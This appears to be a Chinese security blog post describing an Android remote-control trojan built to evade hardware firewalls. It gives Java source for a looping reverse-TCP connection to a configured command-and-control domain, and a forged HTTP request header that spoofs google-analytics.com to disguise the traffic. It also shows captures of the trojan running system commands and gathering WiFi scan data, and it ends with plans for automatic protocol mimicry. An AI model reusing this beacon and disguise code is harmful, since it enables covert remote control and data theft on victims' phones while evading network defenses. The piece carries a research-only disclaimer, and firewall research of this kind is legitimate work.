对手机远程控制软件穿透硬件防火墙的分析和研

  • A+
所属分类:移动安全

首先来说说本人对防火墙的一些认识,防火墙就是拦截和过滤外部网络“不安全的网络”对内部网络“可信网络” 数据包传输的一个工具。反过来也是可以的(内部网络到外部网络),可以是软件防火墙,也可以硬件防火墙。它的原理就是对 TCP/IP 协议族中的网络层和传输层以及应用层中的数据包进行分析和过滤。

关于防火墙更加详细的说明可以参考百度百科http://baike.baidu.com/subview/3067/9048966.htm

本文研究的内容可能包含攻击性,仅供安全研究和教学用途,禁止非法利用

手机远程控制软件穿墙研究

下面进入正题,今天讨论的手机远程控制(以下简称远控)主要指的是Android类手机远控,采用TCP 反弹连接的方式上线。反弹连接上线这种方式对于研究安全技术的人来说再熟悉不过了,比如说几年前的灰鸽子远控, 上兴远控, PCShare, PosionIvy  等等。

这种上线方式就是大家常说的C/S(client/server)模式;不同于C/S模式,B/S(brower/server)模式数据包传输走的是HTTP或者HTTPS协议。

穿透硬件防火墙的方法有很多种, 比如说走ICMP 协议的后门,可以穿透一部分防火墙(取决于防火墙的过滤规则),还有走HTTP/HTTPs协议的B/S类远控后门,这类远控上线很隐蔽,不易被察觉。但是它们都有一个特点,就是数据传输协议单一,一旦被发现,就很难逃脱,因为发送的http 请求头都是固定的,比如大家常用的扫描web服务器的工具AcunetixWeb Vulnerability Scanner,Netsparker 等等;它们的http 请求头都很特殊。B/S类远控后门也一样。

我这里的思路是什么呢? 数据包传输还得用tcp反弹连接 ,但是数据包是伪造的。比如伪造成http 协议,或者任意一种应用层协议,如SMTP协议,DNS协议等等。

下面我给出一部分关键源代码:

/**
        * 建立socket 反弹连接.
        *@return
        */
 
new Thread()
        { 
            public void run() {
                     while(true)
                     {          
                            try
                            {
                                   Thread.sleep(2000);
                                   try
                                   {
                                   //从String.xml获取上线域名和端口。
                                   socket = newSocket(InetAddress.getByName(domain.trim()),Integer.parseInt(port.trim()));
                                   booleanisConnected = socket.isConnected()&&!socket.isClosed();
                                   if(isConnected)
                                   {
                                          Log.d(TAG,socket.toString());
                                          socket.setKeepAlive(true);  //表示对于长时间处于空闲状态的Socket,是否要自动把它关闭
                                          //socket.setTcpNoDelay(true);//TcpNoDelay=false,为启用nagle算法
                                          BackConnTask(socket);
                                   }
                                   } catch(IOException e) {
                                          Log.e(TAG,e.toString());
                                         
                                   } finally{       
                                          if(socket!=null)socket.close();
                                   }
                            } catch (Exceptione) {
                                   Log.e(TAG,e.toString());
                                  
                            }
                     }
            };
        }.start();

       

/**
        * 初始化http请求数据.
        *@return
        */
      
       public String InitHttpGet()
       {
              StringBuilder request = newStringBuilder();
             
              String v1="Host:www.google-analytics.com\r\n";
              String v2="User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0\r\n";
              String v3="Accept:image/png,image/*;q=0.8,*/*;q=0.5\r\n"; 
              String v4="Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
              String v5="Accept-Encoding:gzip, deflate\r\n";
              String v6="Connection:keep-alive\r\n\r\n";
              request.append(v1).append(v2).append(v3).append(v4).append(v5).append(v6);
              //request.length()=266
              return request.toString();
       }

上面的源代码只是一小部分,源代码的流程是这样的,如下图:

对手机远程控制软件穿透硬件防火墙的分析和研

这里只是一个初步的模型,数据包的前面一部分还是固定的。

下面实际抓包看下效果,如下图:

对手机远程控制软件穿透硬件防火墙的分析和研

对手机远程控制软件穿透硬件防火墙的分析和研

在wireshark 里看到 ,数据包由tcp 变成了 http 协议。数据内容也变成了http 的请求头数据包。

下面看下远控的功能是否正常,如下图:

对手机远程控制软件穿透硬件防火墙的分析和研

对手机远程控制软件穿透硬件防火墙的分析和研

上图是执行系统命令。

对手机远程控制软件穿透硬件防火墙的分析和研

上图是获取WIFI 扫描信息,还有其他功能就不一一演示了。

了解主流硬件防火墙

下面我们再来看下主流的硬件防火墙都有哪些功能

(注明:下面文字是从天融信官方网站上找到的)

NGFW4000系列专用平台产品采用最新的CCI技术,提供对OSI网络模型所有层次上的网络威胁的实时保护。网络卫士系列防火墙可对还原出来的应用层对象(如文件、网页、邮件等)进行病毒查杀,并可检查是否存在不良WEB内容、垃圾邮件、间谍软件和网络钓鱼欺骗等其他威胁,实现彻底防范。

对手机远程控制软件穿透硬件防火墙的分析和研

状态检测只检查数据包的包头。

深度包检测可对数据包内容进行检查。

CCI可实时将网络层数据还原为完整的应用层对象(如文件、网页、邮件等),并对这些完整内容进行全面检查,实现彻底的内容防护。

支持入侵防御功能:

支持应用层防御,入侵防御攻击特征库数量≥3500种,攻击检测率≥90%;支持对多种常用协议的协议识别和异常检测,包括HTTP、FTP、SMTP、POP3、IMAP、MSRPC、NETBIOS、SMB、MS_SQL、TALNET、IRC、DNS等;支持入侵攻击特征库的分类显示;支持用户自定义规则;支持入侵攻击特征库自动升级,手动升级,离线升级,版本回退;响应方式支持阻断、丢包、日志记录等。

更加详细的说明可以参考下面的连接:

http://www.topsec.com.cn/aqcp/bjaq/fhq/zydhpt/index.htm

从上面的描述可以分析得出, 硬件防火墙的功能还是很全面的。要想突破防火墙的过滤规则,就需要在发送数据包的时候绕过这些规则。

我上面的源代码实现的功能并不完善,以后的想法是实现受控端本地抓包,受控端用什么网络协议,远控就自动伪造成什么协议。达到的效果就是受控端能上网,远控也能上网。

题外话

我看过很多有关黑客类电影,比如:《虎胆龙威4》,《007》,《谍影重重》,《夺命手机》等等。你们想想看,美国国家安全局、中情局、英国军情6处,它们用的什么硬件防火墙。是吧,肯定很牛X ,要想突破,谈何容易。

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: